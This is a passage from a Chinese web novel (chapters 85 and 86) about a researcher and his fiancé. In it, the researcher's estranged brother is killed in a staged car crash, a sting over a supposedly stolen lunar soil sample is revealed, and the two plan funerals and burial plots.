在赵嘉良的示意下,那人被赵家车队的远光灯照的后退了两步。不过在强光下,他们还是能够看清来人。 是夏燃。 “追过来了?”赵嘉良饶有兴致的侧首看了夏季一眼,“宝贝,你中午饭桌上说的那事儿你确定是他干的吗?” 夏季摇了摇头,“看反应他像是不知情的。不过现在他能来堵我应该是知道些什么了。” “唔”赵嘉良还是忍不住有些心酸的问,“所以你是什么时候意识到夏燃跟高家有问题的?” 天知道赵嘉良之前还真以为夏季要跟夏燃缓和关系,甚至他都已经做好了跟夏燃称兄道弟的心理准备。可如今这猝不及防的一出让之前的他有点小丑。 “夏荣腆着脸来找我的时候我就猜到个大概了。” 夏季又笑着拍了拍他的手,“别把自己当小丑了。毕竟,我也曾经真有那么一瞬以为,我们这些喻馨的血脉真能和平共处呢。” 第85章 夏燃在距离赵氏车队, 哦不,现在或许应该说是夏氏车队距离不到十米的地方停下脚步。 被几台大车的远光灯这么照着,但凡是个人也会受不住的。 赵嘉良本想跟着夏季一起下车, 但被夏季拒绝了。 “我就跟他说两句, 你在车上乖乖等我。”虽然在一个小时之前的赵嘉良还是非常不乖的让夏季想锤他,但在这种事情上他倒是还算乖觉。 “那你小心点。”男人探出个脑袋,叮嘱道。 夏季不动声色的看了一眼跟在自己两步之后的安保人员, 不置可否的笑了一下。 不过相比于夏燃的孤身一人,夏季身后的这两位人高马大的保镖看起来就有点儿突兀的显眼了。 “怎么,你男人还担心我会光天化日下害你?”夏燃有些嘲讽的笑了笑,“说起来夏季你的运气也是逆天了。喻馨刚怀上你的时候就想方设法的要打掉你, 但被爷爷奶奶威逼利诱阻止了。后面你出生了,喻馨又因为你是她纯洁爱情的侮辱而恨之入骨” “也就是你出生之后, 曾经那个对我温柔呵护的母亲彻底跟变了个人似的。”夏燃低低的笑了两声,但夏季还是从他的眼底捕捉到了一闪而过的浓浓恶意。 “之前你笑话我, 说我三十多了还在纠结妈妈爱不爱我的问题。那是因为我曾经被妈妈深深的无条件爱过, 只是她的爱在你出生之后就全部烟消云散了!” 在夏听风那事发生之前, 夏燃是在一片被刻意营造出来的温馨家庭中长大的。站在他的角度,夏季的存在就是噩梦的开始。原本“恩爱有加”对自己极尽宠爱的父母彻底决裂。对自己呵护备至的爷爷奶奶也将一部分关注给到了那个尚未出生的弟弟。但这些早熟的夏燃还能说服自己,有兄弟姐妹的家庭都是这样的。 可他不能忍耐的是, 他曾经温柔善良的妈妈在弟弟出生之后就跟变了个人似的。后面弟弟不见了,夏燃也跟着彻底没有妈妈了。 “她是做过很多错事, 可她本性并不是个很坏很恶毒的人。她只是自私了点。”夏燃苦笑着低下头, “当然,我说的这些你是无法感同身受的。” “确实。”夏季点了点头,“我这辈子最清醒的事情就是没在夏家长大。不然跟你们一个个似的,每天正事不干, 尽琢磨着爱不爱的。我就纳闷了,你们就没有点儿高尚的兴趣爱好吗?” 夏燃被他问的一噎,随即有些恼羞成怒道,“你不恋爱脑?赵嘉良在圈里名声那么差你不还是背着金丝雀的名声都要跟他在一起?” 夏季翻了个白眼,“他的名声还能有我差?” 不过这种争辩是没有意义的。 夏季跟夏家所有人的思维都不同频,这是因为他的成长教育经历更多的是受王静女士的影响,因此夏季在性格和为人处世的风格上其实更接近于王院士。 也正是因为思维模式的不同,夏季能理解夏燃的想法,但也仅仅只局限于理解而已。 “我们理念不同,看重的东西不同。”夏燃用力抿了抿唇,还是将重点转移回此行的目的上,“你秘钥卡的那个事情我说我真不知情,你信吗?” “信。”夏季歪了歪头,似笑非笑的望着他,“不过你现在应该知情了吧?” 男人的瞳孔微缩,显然没料到夏季竟然能敏锐至此。 “夏季我” 一闪而过的挣扎之后,夏燃缓缓道,“夏季,这事终归是我对不住你。请你看在咱们兄弟的份上,就最后帮我这一次吧。算我求你了。” 可这事儿说到底也不是夏季一个研究员能做主的。 这可是有价无市,是原本准备代表华国科学界跟国外实验室作友好交流的月壤啊。且不论科学院这边的研究员们是不是真心实意的“赠送”给国外实验室,可既然都答应人家了,结果到了转交的日子,月壤质量少了。哪怕只是少了一点点,那也是绝对丢人丢到姥姥家了。 这种有损国家甚至民族颜面的事情,谁能忍得了? “我已经跟谈过了,东西你能想办法还回去吗?”夏燃的语气有些低声下气,能让他这么放低姿态的,除了他那位温婉大方的老婆之外,也没旁人了。 夏季脸上的笑意更甚,“是吗?原来还可以还回来。可我想要的,不仅仅是东西回来,你明白的。” “夏季”仿佛是经过了一番激烈的心理斗争,夏燃还是不死心的说,“夏季,你也是马上要成家的人了。人生在世,上有老下有小的,很多事情都是身不由己。” “呵。”夏季打断了他的话,“你爹妈都没了,又没有孩子,算哪门子的上有老下有下?夏燃,你现在只有两个选择。第一,等待相关部门的调查结果,然后带着你的高家老小一起老死狱中。第二,主动坦白,把你们知道的一切全部说出来。” 夏季看了看表,“现在已经快九点了,我给你一个晚上的考虑时间。明早九点,告诉我你的决定。” “可我知道的也不多。”夏燃还有些迟疑。 “嗯,那就去问你老婆,和你的岳父岳母。他们如此看重你,也许你能说服他们弃暗投明呢。” 在离开的时候,夏季注意到夏燃的车子旁边还有一辆车。 逆着光他看不清驾驶室里坐着的人是谁,但当时夏季也并未多想。在给了夏燃选择之后,便转身回夏园了。这个晚上,对于很多人来说注定不会平静。 夏季跟老胡打电话汇报情况的时候,赵嘉良正指挥着家里的佣人将今天刚从裁缝工作室那儿取来的新衣仔细熨烫。 今晚他给夏季挑选了拢共七八套礼服,除了被他们不小心弄脏的那套纯黑色暗金线正装之外。还有好几套赵嘉良光看夏季穿着就心潮澎湃的,都被他统统打包带回了家。 一边盯着女佣熨衣服,赵嘉良一边儿叽叽歪歪的抱怨,“咱们家夏少爷可真牛逼啊,一出道就是保密项目的骨干成员。现在都要直接改行去当国安了~我也是跟着牛逼了,找了个大侦探当老婆。” 夏季没有搭理他,并且朝他扔了个橙子。 被正中面门的男人揉了揉自己被砸红的鼻梁,弯腰捡起来就开始剥。 “我看这套淡黄色的西装就很不错,后天你就穿这套吧。”赵嘉良这才转移了话题,提出了自己的意见。 夏季睨了他一眼,“嗯。这种正式场合,所有人不分男女的都是黑西装,那我确实是很黄了。” 赵嘉良忍不住咧嘴一笑,被瞪了之后又赶紧憋住,“抱歉,我就是单纯的觉得你穿那身嫩黄真的好看的不行~” “嗯,我知道也只是单纯的没脑子。”夏季十指飞快的在手机上写小作文,头也不抬的回答。 自讨没趣的赵嘉良把剥好的橙子摆在他面前,略带谄媚的笑道,“内个宝贝儿,商量个事儿呗?” “嗯?” “内个,来点儿零花钱行么?”赵嘉良对找老婆要零花钱的事情没有任何思想包袱,甚至有点儿不以为耻反以为荣的觉悟,“赵天生住ICU是真的太贵了~” 这也是最近老胡最气的事情。 眼看着他夸下海口说让赵嘉良暂垫医药费,明年有预算了就给他报销。但赵天生半死不活的在ICU里躺了半个月,现在这么多钱花下去,正好处在一种死了捶胸顿足不甘心,活着却又屁用没有啥也问不着的状态。在把名下几乎所有财产全部当做嫁妆转给夏季之后的赵嘉良兜里就那么七位数的存款,压根儿经不住赵天生在ICU里这么造。 不过他也知道夏季老早就盼着赵天生死了,赵嘉良又赶紧补充了一句,“当然,我不是白拿钱的。我可以用力气来换” 说着,他若有似无的伸腿蹭了蹭夏季的腿。 当时就被他蹭的有些恼火的夏季却一抬腿,一脚踩在了男人的下腹处,踩得赵嘉良当时就“si~”了一声。只是他叫的有点儿不对劲,几个正在忙碌整理衣服的佣人都是下意识望了过来,然后又熟练的转过头去,装模作样的继续忙碌着。 被对方一把攥住纤细脚踝的夏季在心里暗骂了一声:操!大意了,奖励他了! 不过俗话说有钱的是大爷。 夏季扬起下巴,即使身居低处也依然高高在上,“不好意思的,你的力气在我这儿是消费项目而不是进账项目。只能扣钱,不能加钱。这样吧,这个礼拜你都不用在我身上费力气了,我给你一百万如何?” 轻轻松松休息一周,还白挣一百万,是好事啊! 但赵嘉良却想都没想的斩钉截铁道,“大可不必,让他去死吧!” 不过话虽这么说,赵天生是否要放弃治疗还是得听老胡那边的意思。夏季终于写完了自己的小作文之后,时间也不早了。想着未来几天还都是硬仗,他是真想求求赵嘉良消停几天了。 自从被那位男小姐砸了头之后,赵嘉良已经生龙活虎的,连他的主治医生都说可以不用继续复健了。这样的因祸得福,他俩闲聊之后都一致决定应该在那位Mr威廉小姐从局子里出来之后,请他吃个饭好好感谢他一下。当然,这次他们会注意不跟这敏感肌的“女士”有任何肢体接触。 夜话欢乐,这一夜睡的还算安稳。却没曾想,这一夜将会是他们未来几天中最平静的一夜了。 第二天一早赵嘉良照例五点半准时起床,然后雷打不动的准备去健身房给自己傲人的身材继续巩固一下。老管家一脸凝重的走了过来,“刚刚医院那边来电话了,说赵天生一个小时之前咽气了。” 赵嘉良手上动作一顿,一时间似是有些没有反应过来。 “什么?” 老管家叹了口气,“赵天生死了。” 据说赵天生是今天凌晨突然病情恶化,医生对他进行了两个多小时的抢救,最终还是无济于事。 虽然这个结果也算是在赵嘉良的意料之内,但当事情真正发生的时候,他的心情还是无法轻快起来。尤其是兜里空空的时候 “操!”以前家财万贯的时候这点儿医药费赵嘉良是不会放在心上的。但昨天找老婆要零花钱无果,还差点儿倒欠老婆一屁股债之后,赵嘉良的心理压力就有点大了。果然人穷的时候,才是最不自信的时候。 但接下来让赵嘉良更不自信的事情是,赵天生死了,赵峰瑞疯了,他赵嘉良是法理上理应为赵天生收尸的那个人。 “行了,这事儿我知道了,一会儿夏季起来了我跟他商量一下吧。” 因为今天夏季还要上班,赵嘉良并不想为这点事儿吵得那位起床气很大的祖宗。不过当他结束自律健身,洗完澡准备去换衣服的时候,路过卧室却听到了说话的声音。 “嗯,好,可以的。” “那行,我在家里等着你们人过来。” “好。” 透过虚掩着的门缝,赵嘉良听到的是夏季过于冷静的声音。 他迟疑片刻,刚将手按在门把手上准备动作轻些的进去,房门却被霍然推开。 “早啊宝贝。”四目相对之时,赵嘉良下意识的扬起了一个阳光灿烂的笑容。 却跟对面临时被电话吵醒,整个人阴沉的仿佛怨气要凝成实质的貌美男鬼形成了鲜明的对比。 “才刚七点,谁给你打电话呢?”一般来说,熟悉夏季的人都不可能这个时间吵他清梦。因为这个时间就算是王今安来,都得挨骂。 但刚刚赵嘉良在门口听着,夏季的语气还挺平静,并没有发火。他寻思着昨晚夏季才大度的给了夏燃两个选择,估计夏燃那小子昨晚也是一宿愁的睡不着。估计能这个时间点给夏季打电话的,八成也就只有他了。 只是他这话一出,夏季的眸色明显又暗了暗。他羽睫微动,吐出的话却是让赵嘉良大吃一惊。 “夏燃死了。” 赵嘉良的笑容逐渐凝固,沉默了两秒后,他笑了一下,“其实我也有个事情想跟你说。” “赵天生一个小时之前死了。” 夏季今天请了假。 本来他们项目结束就没什么正事儿要干,除了明天的月壤交接仪式之外夏季这几天都很闲。索性他今天就请了假,在家里等着老胡过来。 赵嘉良本来是想全程陪着他的,但如今正值赵氏和夏氏合并初期的交接阶段,事情不仅多而且杂。赵嘉良实在不能一整天都不去公司,于是他在家里安排了充足的人手,然后陪夏季吃了早饭之后才由阿久亲自开车接着去了公司。 看着他的车队缓缓驶离夏园大门,站在二楼露台的夏季一直待到看不到车尾灯才重新回到屋内。 而老胡来的甚至比他预想的更快,看他那黑眼圈比眼睛还大的状态,想来是昨晚压根儿没睡了。 “把你家大门口的监控录像给我弄过来,要所有角度,昨晚全时段全方位的!”老胡一进门就开始发号施令。 夏季冲管家使了个眼色,对方微微躬身,立刻吩咐人去办了。 将老胡跟他风尘仆仆的手下们请到客厅,女佣刚端上清甜的果茶就被他婉拒了。 “给我来点儿黑咖啡,我们今天可还有得熬呢。” 见他这副模样,夏季似是想到什么了,“有关键线索了?今早医院打电话过来说赵天生还是没救回来,人已经没了。” 老胡有些心虚的左顾右盼,“那个医药费” 夏季身上穿着奶白色的高领羊绒衫,看起来温温软软的模样,但他笑起来的时候只让某些人觉得他像条黑心狐狸。 “医药费都是小事,我就是想请你多跟告诉我点儿信息。当然,不符合你们保密内容的部分我是不会问的。” 老胡:…… 虽然夏季拿觉医药费勾引了,但正派的老胡还是义正言辞的拒绝了他的要求。 后面就是按部就班的例行询问了。 “你家赵总上班去了?”没在屋里看到赵嘉良,老胡直接说,“你俩现在都是我的重点保护对象。实话跟你说吧,其实凌晨五点的时候我就应该过来了,但我寻思着你那个作息” “咱俩也是一起共事过的,你那脾气我多少还是知道的。”老胡一想就知道夏季这个时间点肯定是在睡觉的,夏园之前他受邀去过两次,知道那地方安全的跟宫殿堡垒似的。他们只要在夏季出门上班之前过去,就赶得上。 “第一时间过来找你,也是有个情况必须让你们知情。这次的事情,原本是冲着你们来的。” “或者说,是冲着你来的。”老胡伸出食指,点了点他,“外面人都说你拿了赵嘉良的全部财产,是个厉害的金丝雀。但你其实是想保护他,是吧?” 夏季端起热气腾腾的精致的瓷杯,拼了一口馥郁的热咖啡。氤氲的雾气让他漂亮的容颜有些恍然不真实,“没什么保护不保护的,本来他就是个市侩商人,应该过着花钱如流水的奢侈生活。他既然因为我的原因成了京圈最穷霸总,我总不能让他钱钱没有,人人也活不下去吧。” 夏燃的死因清晰明了,而且是他们都熟悉的不能更熟悉的原因。 车祸。 “具体的详情我就不跟你详细说了,总之你可以理解为,夏燃这次的事情就跟你家赵总和林教授的车祸如法炮制就行了。”老胡双手交握,神色严肃道,“我们这次吸取了前几次的教训,第一时间就查到了肇事司机的情况。然后我们发现,这个司机最初培训的内容并不是去撞夏燃的。甚至在昨天早上他还在反复复习的都是你每天的上班路线!” 自从赵嘉良出事之后,他们每天的生活内容就非常简单。赵嘉良的副业交给手下打理,他本人忙于复健也再没去过那些地方。而当植物人期间被姓林的挖过墙角之后,赵嘉良连跟狐朋狗友一起泡吧喝酒的爱好都戒了。而严苛生活干净的夏季就更不用说,若没特殊情况,他能长期稳定两点一线。 这样稳定的生活规律,撞夏季的难度可比撞夏燃赵嘉良简单多了。 也就是最近夏季的出行方式从司机接送变成了悍马车队接送。哪怕肇事司机那边安排的是百吨王,在防弹车队的阵仗下也得掂量一下。 “你们昨天跟夏燃他们吃饭了?你跟他们说啥了?他为什么半夜过来找你?” 夏燃是从夏园回去的路上出事的,起初事故发生,交警抵达现场的时候还只是按一般的车祸流程处理的。不过到了通知家属阶段,高嘉丽听闻这个消息之后十分激动,在交警面前说了一些敏感话题,这才在当天晚上被转交到老胡这边。 “你们调查的太慢了,所以我去诈了他一下。”夏季虽然确实想过要一劳永逸的解决掉夏燃,他跟赵嘉良那种会对恶毒的手足兄弟依然留存一丝幻想的善意不同。夏季向来只会从理性的角度分析问题,他想过要夏燃去死,但没想过会是这种方式。 联想到他昨天给自己发的小作文,老胡实在不知该说什么好。 这种脑子太聪明的人,一旦认真起来把自己在专业上的聪明才智用到别的方面上也挺吓人的。 老胡一连骂了他好几句“狗胆包天”。但想到这家伙是在当初林教授差点儿没命的情况下,自己主动站出来说不怕死的那位,其实也就合情合理了。 “夏季,你这家伙有时候真的有点疯。”好在老胡年纪大了,熬了个大夜之后也是气力有限,骂了十分钟就骂不动了。 夏季从容的冲佣人招手示意,让她们给老胡添茶倒水。 咕噜噜喝了一大口苦涩的冰咖啡后,老胡叹了口气,“你这一诈,是直接把夏燃诈死了。” 随即他又像想到了什么似的,“你小子不会是故意的吧?” “故意什么?”夏季好笑的望着他,“是我找人撞的夏燃吗?这种与虎谋皮的事情,但凡插手了就该做好被人灭口的心理准备。” 老胡沉默片刻,缓缓道,“夏季,你毕竟也年纪不小了,听说也在筹备结婚的事情了。要成家立业的人了,做事要稳重,万一你出个什么事情,就你家小赵那脾气,发起疯来又是血雨腥风呢。” 夏季笑了笑,“就是因为决定要成家了,所以才要在我迈入人生新阶段之前把这些腌臜事全部处理好。” 夏燃作为前夏氏总裁,如今的高氏执行总裁,高家事实意义上的上门女婿。他的突然意外离世,让原本刚因赵嘉良奇迹般的植物人康复而平息下来的圈内舆论再次紧张起来。 有些消息灵通的商人其实比某些专业人士嗅觉更加灵敏。 赵嘉良今天一早刚到公司就接到了不少熟人的电话,那明里暗里的试探语气,让他感觉有些微妙。 因为夏燃放弃夏氏回到高氏之后,高嘉丽的父母就继续满世界旅行养老去了,如今高家还在国内的就只有高嘉丽一个弱女子而已。听说夏燃出事,许多相熟或者不熟的,都要礼节性的致哀。 不过高嘉丽在这事儿之后几次哭的昏过去,如今整个高家竟是连个能主持大局的人都没有。原本按照夏燃的情况,他的老婆支持不住的情况下,他的后事由夏季来操持是最合理的。但夏季并没有主动提及这个事情,最后他那具被创的连喻馨都认不出来的遗体还是夏荣和周镇川看不下去了,给送去殡仪馆做修复的。 夏燃的座驾是一台宾利。 他平时出行都是有司机的,也就是昨天出来的匆忙,所谓的事情又过于私密他是自己开的车,这才只有他一人伤亡。不过车是好车,就是在满载的百吨王面前依然跟个小卡拉米似的。而且夜晚本就视野不佳,常年有司机接送的夏燃其实本人车技也很一般。这就导致了他的遗容,过于一言难尽。 那帮被夏季激发了满满斗志的狗仔们在无所不用其极的跟拍夏荣周镇川出行之后,据说留下了很深的心理阴影。 而那台跟夏燃一起来夏园门口等夏季的车子,经过调查,是高家的一台有些年头的大奔。不过那天晚上到底是谁陪夏燃一起过来的,暂时还没查到。 原本为夏季准备的司机最后用在了夏燃身上。能让对方在一夜之间做出这种剧烈的战术变动,说明他们距离幕后真凶真的已经很近很近了。但这对夏季他们来说也不重要了。 因为虽然不知道敌人姓甚名谁,但它的目的人尽皆知,它并不是一个人,而是一个组织一个势力。 而让有些人更加破防的是,科学院的月壤交接仪式上,夏季作为新一代华国科研人员代表,捧着那个让夏燃送了命的一点点灰黑色大颗粒状物体交给A国研究员。在一片闪光灯下,见证了这一刻的华国航天科学从落后彻底步入世界断层式领先的行列。 从小向往着星辰大海的夏季也是在金发碧眼的国外科学家面前,第一次有种高人一等的感觉。 他想,这或许就是年幼时王静女士所向自己描绘的未来。 在官方流程结束后,作为东道主的举办方这边还准备了冷餐会方便各国学者交流。 赵嘉良虽然英语还可以,但天文方面的专业术语他真是一个词儿都听不懂。跟在夏季身后听了好一会儿天书之后,赵嘉良甚至有想过自己要不要也抽空进修一下天文方面的专业知识。毕竟这好像是夏季唯一的兴趣爱好,这样他们婚后也能有更的共同语言不是? “在想什么呢?”夏季忽然塞了一杯葡萄酒到赵嘉良手中。 赵嘉良从神游中回过神来,下意识的说,“我想学天文。” 对于他这种想一出是一出的脑子,夏季听了就当没听到。 不过对于一片祥和的整个流程,赵嘉良还是有些疑惑,“宝贝,不是说你负责的那块月壤质量少了吗?这是从哪里添了一点儿过去吗?” 赵嘉良不认为自己伟大的祖国会干缺斤少两的事情。 可夏季却是笑笑说,“因为从一开始,月壤就没少啊。” “原来没少吗?”赵嘉良这次是着实意外了。 但可转念一想也是合理的。夏季虽然最开始的时候因为夏燃的好意和谦让,产生过要跟他正儿八经当兄弟的念头。但他永远都不可能把夏荣当兄弟,哪怕是夏燃开口也不行。 夏季白了他一眼,“你真觉得有人能从科学院的保险柜里拿到月壤?就凭我一个研究员的密钥?跟你夏荣一个智商?” “所谓安全密钥的事情,不过是老胡安排我去试探的。” 第86章 其实老胡最初提议试探这事儿的时候, 夏季是不屑一顾的。 因为他认为世界上不会有如此愚笨之人,真能觉得就自己跟夏荣那新仇旧恨的还能一笑泯恩仇,兄友弟恭吧? 不过老胡却说, “反正试探一下又不花钱, 人生就是应该勇于尝试!” 对此夏季虽然是不屑一顾的,但老胡却说,上次夏季给他介绍的那位国外医学生留子的那个学心理学的高中同学, 闲来无事的时候帮他们做了个相关涉案人员的心理画像。其中夏荣这人的画像让上了些年纪,思想并不怎么新潮的老胡都眼前一亮,决定要从他下手试探一番。 正好当时就有个“好心人”说了,反正夏季这么聪明, 让他试试就算没成功也没什么损失。但老胡觉得以夏季那种不爱沾麻烦事的性子应该会拒绝这种明显浪费时间的要求,但那位好心人就帮他支了个招。最后也不知道老胡怎么跟夏季说的, 反正夏季当时就是当作打赌似的答应了下来。 而此时的夏季一想到夏荣那个煞笔就恨得牙痒痒,但从大局来看, 这其实也是个好事。 “我们的对手也不知怎么的, 几年过去了就这么拉了。”能找上夏燃夏荣这两人办这种杀头的大事, 也足以说明他们是真黔驴技穷了。尤其是夏燃的这次车祸,从匆忙程度被很快锁定关键证据不难看出,对方急了。 对此, 夏季有些开心但并不多。因为他当时不愿意帮老胡这个忙的时候被对方小小的刺激了一下,于是他跟老胡随口承诺了:如果那帮境外破坏分子真的找夏荣, 夏荣那个狗胆子也敢接, 那夏季就当作是赌输了,要请老胡吃饭。 本来输了就输了,夏季也不是请不起一顿饭的人。但刚刚活动结束,他去洗手间的时候路过走廊, 无意间听到老胡打电话的声音。 “后天一起聚餐,吃大户了!” “嘿嘿,还是邹小姐了解夏季,用她的那套说辞夏季果然答应帮忙了。不仅如此,这还让咱们白嫖了一顿饭。” “没事,就当团建了,夏季不会介意的。反正他嘴刁,在外面这也不吃那也不吃的。他不吃的,咱们吃,不浪费就行!” 赵嘉良是没想到这里面竟然还有邹柔柔的事情,不禁讪讪的笑了一下,道,“柔柔姐牛逼。” 也就是因为邹柔柔是王今安的好闺蜜,而作为绝对的恋爱脑,老婆奴,唯一能拿捏夏季的也就只有来自亲姐姐的压迫了。连带着,邹柔柔这种心理学高材生=也是极少数能让夏季有所忌惮的人。而夏季都忌惮了,赵嘉良对邹柔柔是什么态度自然也就不用多说。甚至赵嘉良的某个酒肉朋友因为谈了个念心理学的小美女,都被赵嘉良劝分了。 鉴于之后夏季还要请老胡吃饭,得知幕后真相的夏季心情能好到哪儿去? 当然,如果老胡事先就跟夏季说清楚前因后果他肯定也是乐意试试的,但这种像是被人算计的结果还是难免让他有些不爽。倒不是夏季抠门,他就是不大乐意请老胡他们部门同事团建。正好赵嘉良想起之前蒋靖川带他跟夏荣去吃过的那家私房菜馆,这几天因为事忙还没来得及去吃。正好那家店东西好吃不说,私密性也不错,赵嘉良就建议夏季请老胡去他家吃。 夏季想想,觉得这个提议不错,便点头答应了。 这种官方管饭的场合吃的不算顶好,夏季是不怎么乐意动筷的。 赵嘉良陪他垫了几口之后,后面几乎都是全程陪他在各个国内外学术团队之间应酬。而同时跟他一样当花瓶背景板的还有最近刚刚半道改行的蒋靖川。 他虽然专业不对口,但他的导师在业内着实算是大拿。即使是这种场合他也能带着几个得意门生露个脸,于是蒋靖川跟赵嘉良一起站在旁边当背景板的时候也忍不住聊了几句。 蒋靖川其实也是进了科学院之后才明白什么叫“人外有人天外有天”。他在清大当天才的时候总觉得自己已达巅峰,有种无敌的空虚寂寞,这才在有心之人的怂恿下半路改行,踏上了那条完全不在他擅长舒适区的道路,挑战自我。如今回归正途,虽然如今蒋靖川研究生还没正式入学,但他了解他过往的的导师还是很有先见之明的先带他入行看看情况。在他们导师的实验室待了一个月,然后又跟着师兄师姐拜访过一些大佬见识过一些真正的大场面后,蒋靖川现在也是老实了。 “赵总,您也来作陪呢?”要是换做以前,蒋靖川面对赵嘉良这种资本巨佬是会下意识觉得矮人一头的。这也算是他混娱乐圈时留下的“优良传统”了。 不过随着这些日子的接触,跟夏季混的有点熟了之后,蒋靖川旁的没学到,夏季的那种配得感倒是学了个十成十,跟赵嘉良打招呼的时候腰杆子莫名其妙的也直了起来。 赵嘉良瞥了一眼这位难兄难弟,低声问,“他们聊的内容你听得懂吗?” 此话一出,蒋靖川刚挺直没多久的腰又弯了。 “听听不懂”其实严格意义上来说导师他们聊的很多单词他都懂,但拼在一起理解起来就不懂了。 赵嘉良嗤笑一声,“书都读到狗肚子里去了?” 虽然夏季不爱应酬,但这种难得的,可以跟全世界所有顶尖行业大佬自由交流的冷餐会还是很让人沉迷的。 夏季跟F国的一个科研团队聊了快一个小时,要不是餐会已经接近尾声,众人都陆续离场,他恨不得还能跟那几个白人佬聊上一个钟。 “你们聊什么呢能聊那么久?”赵嘉良对此略感无奈。 但夏季却表示,虽然这帮老外的想法天马行空,但对于本就天马行空的宇宙星空来说,也许渺小的人类就是需要一些如此这般的创新想法。 赵总表示,虽然听不懂,但尊重理解,并会大力支持继续投钱。 而在夏季忙着应酬的时候,他也顺便抽空预定好了夏季愿赌服输的请客私房菜。正好老胡也在会场上,他还顺便问了一嘴后天请客的人数。 那个果然是部门团建的人数也没有让他们失望,在几乎给私房菜馆包了场之后,赵嘉良事后也跟夏季简单汇报了一下此事。 “吃饭就定在后天晚上,然后明天明天的行程也很满。” 严格意义上来说,赵嘉良和夏季都是多兄弟家庭出身,但复杂的家庭情况让他们实际的成长生活环境其实跟独子也没什么区别。 可即便如此,血缘关系这种暴力关系还是让他们在有些事情上无法挣脱。就比如赵天生和夏燃的后事。 “我让王秘书订了最好的殡仪一条龙服务,九峰山的墓地也买的最贵的。”虽然赵天生活着的时候夏季容不下他,曾提议让赵嘉良把他送去国外永不能回来。但在赵天生死了之后,夏季却并不吝啬。 但不吝啬也不代表花钱能大手大脚。 “王秘书说九峰山买墓地有活动,买一送一。我瞧着还挺划算的,要不给你爸也一起预定上吧。” 赵嘉良:…… “行,都听你的。” 他这么说了,晚上回家之后夏季还真拿着平板电脑给他选墓园了。 说实话夏季在给赵嘉良的弟弟办后事的时候真挺大方的。价值几百万的墓地说买就买,甚至他还让王秘书找了非常贵的风水先生看过了风水,说那块地方非常好,能够荫蔽血亲,大富大贵。 “等你爸死了就把他埋东南角那边,风水先生说这个位置好,适合埋你家长辈。”夏季指着对面山头说,“还有这个地方我也想订下来。” 赵嘉良眉头紧锁,“宝贝儿,讲道理,虽然我爸还没死,你想给他买打折墓地我不介意。但就算墓园促销,你也不至于买那么多吧。一个山头真的够埋我家所有人了,没必要再买个山头吧?” 夏季白了他一眼,“那是我准备买下来给咱俩身后用的。” “啥?”赵嘉良差点儿以为自己听错了。 可夏季却说,“我们以后也不会有孩子,想的长远一点。” 但最主要的原因是夏季觉得那个风水先生说的挺好,再加上墓园山头买一送一 “我已经想好了,以后咱俩就埋一起。”夏季想的确实长远,长远到赵嘉良都狠狠的震惊了一把。 不过震惊褪去后,赵总的心头只有一种难掩的欢欣。因为这又何尝不是一种夏季想跟自己白头偕老的告白呢? 于是两个年富力强的成年男人大半夜的在床上翻来覆去的挑选坟头一直挑到后半夜。也就是第二天夏季不用上班,可以睡到自然醒放纵了一把,但赵嘉良第二天还是得老老实实上班的。毕竟夏燃突然不在了,他的工作量在无形中又增加了不少。 临睡前,赵嘉良还不忘提醒了夏季一嘴,“夏燃那边咱们还是得露面意思意思,不然情面上说不过去。” “嗯,等夏荣处理的差不多了我就过去看看。” 因为夏燃走的实在太过于突然,高嘉丽晕了醒,醒了晕好几次。 她身在国外的父母听闻此噩耗,当时就要买机票回国。只是养尊处优多年的高太太实在太过脆弱,跟她女儿一样晕倒了好几次,不得不在原地就医。这就使得夏燃的后事高家那边竟然连半个能帮忙的人都找不出来,甚至只有夏荣这个不久之前刚刚被夏燃赶出家门,又名声扫地的弟弟来操持后事。 倒也是因为夏荣主动承担起了处理后事的事情,阿久最近拍夏荣行踪卖给狗仔换钱之后反倒是让夏荣原本人人喊打的名声有了死灰复燃之势。 当初那些因为“法制咖”的缘故被广大网友喷的不敢开麦的夏荣死忠粉们也开始有机会舞到了台前,大力宣扬起了自家哥哥“歹竹出好笋”“出淤泥而不染”的高尚品格。甚至还有人拉踩夏季,说都是亲兄弟,夏燃出事夏季明明有能力却不出力不地道。 不过很快就有“消息灵通人士”表示,夏季不出面是因为赵嘉良的弟弟赵天生在同一天去世,夏季要帮着处理赵家人的身后事,分身乏术。再加上夏季和夏荣两兄弟的微妙关系,夏季不亲自操持其实也算合情理。 只是放在某些当事人身上,却还是难免抱怨连连。 “他不过来露个面,还分币不出,这算哪门子的合情合理?!”夏荣这两天是真的心累。 其实自从喻馨被抓之后,他父母名下的很多财产都被有关部门查封了。而夏荣自己身上的合约代言什么的更是一泻千里,抛开那些违约金之后,夏荣其实出道这些年攒下来的身家财产其实并没有外人想象中的那么可观。若是他未来无法继续在内娱里混的话,夏燃人又没了,他以后要怎么生活都是个问题! 可即便如此,高嘉丽靠不住,夏季人都不见一个,夏荣也只能硬着头皮操办起了白事。只是从来没有这方面经验的他事情办的磕磕绊绊的,甚至有些年长些的狗仔记者跟拍的时候看不过眼,时不时的还得提醒一下这位不谙世事的夏家小少爷操办流程什么的。 “哎,夏荣这冷眼瞧着也挺可怜的。”某位跟拍许久,甚至有点儿跟出感情来的狗仔不禁感叹道,“想当初这位高高在上的夏小少爷多风光啊,真没想到如今竟然会成这样。真是天有不测风云。” 只是他话音刚落,就有眼尖的同行在殡仪馆门口看到了一台车牌号非常眼熟的宾利。 “操,这不是赵家的那台宾利吗?夏二少来了?季不是说不管夏燃的后事吗?” 虽然夏季同意了赵嘉良说的,要去夏燃葬礼上露面的事情,但他今天过来还真不是为着夏燃的后事来的。 这样说或许会有些无情,但夏季对夏燃的感情真的很淡很淡,甚至对于夏季这种过于理性的人来说,他甚至会觉得自己跟夏燃这人甚至是直到喻馨进去了之后才第一次跟他认识,多打交道的。而这满打满算也不过两三个月的时间,纵使两人确实有着血脉亲情,可夏季听闻他的死讯,除了一些震惊和庆幸之外,真的提不起太多的悲伤情绪。 而夏荣顺着那几个热心狗仔的目光,也发现了那台赵家的标志性的宾利。 他顿时眼前一亮,但随着车门被训练有素的保镖拉开,穿着得体的黑色羊绒大衣的,举止矜贵的仿佛跟旁人有壁一般的清冷美人不疾不徐的下车之后,夏荣却莫名的生出一种自卑的情绪。 是的,这种熟悉的情绪,其实早在夏季当年第一次踏进夏家大门的时候就一直萦绕在夏荣的心头。直到夏季终于对所谓的亲人死心,离开夏家之后他才短暂的有过一段时间的救赎。但他与夏季之间这种本就客观存在的现实差距却并不会因为他的自卑而消失,反之只会在夏季肉眼可见的过的越来越好后,令他越来越自卑。直到性格都变得愈发敏感恶毒,都依然看不到所谓的回头路。 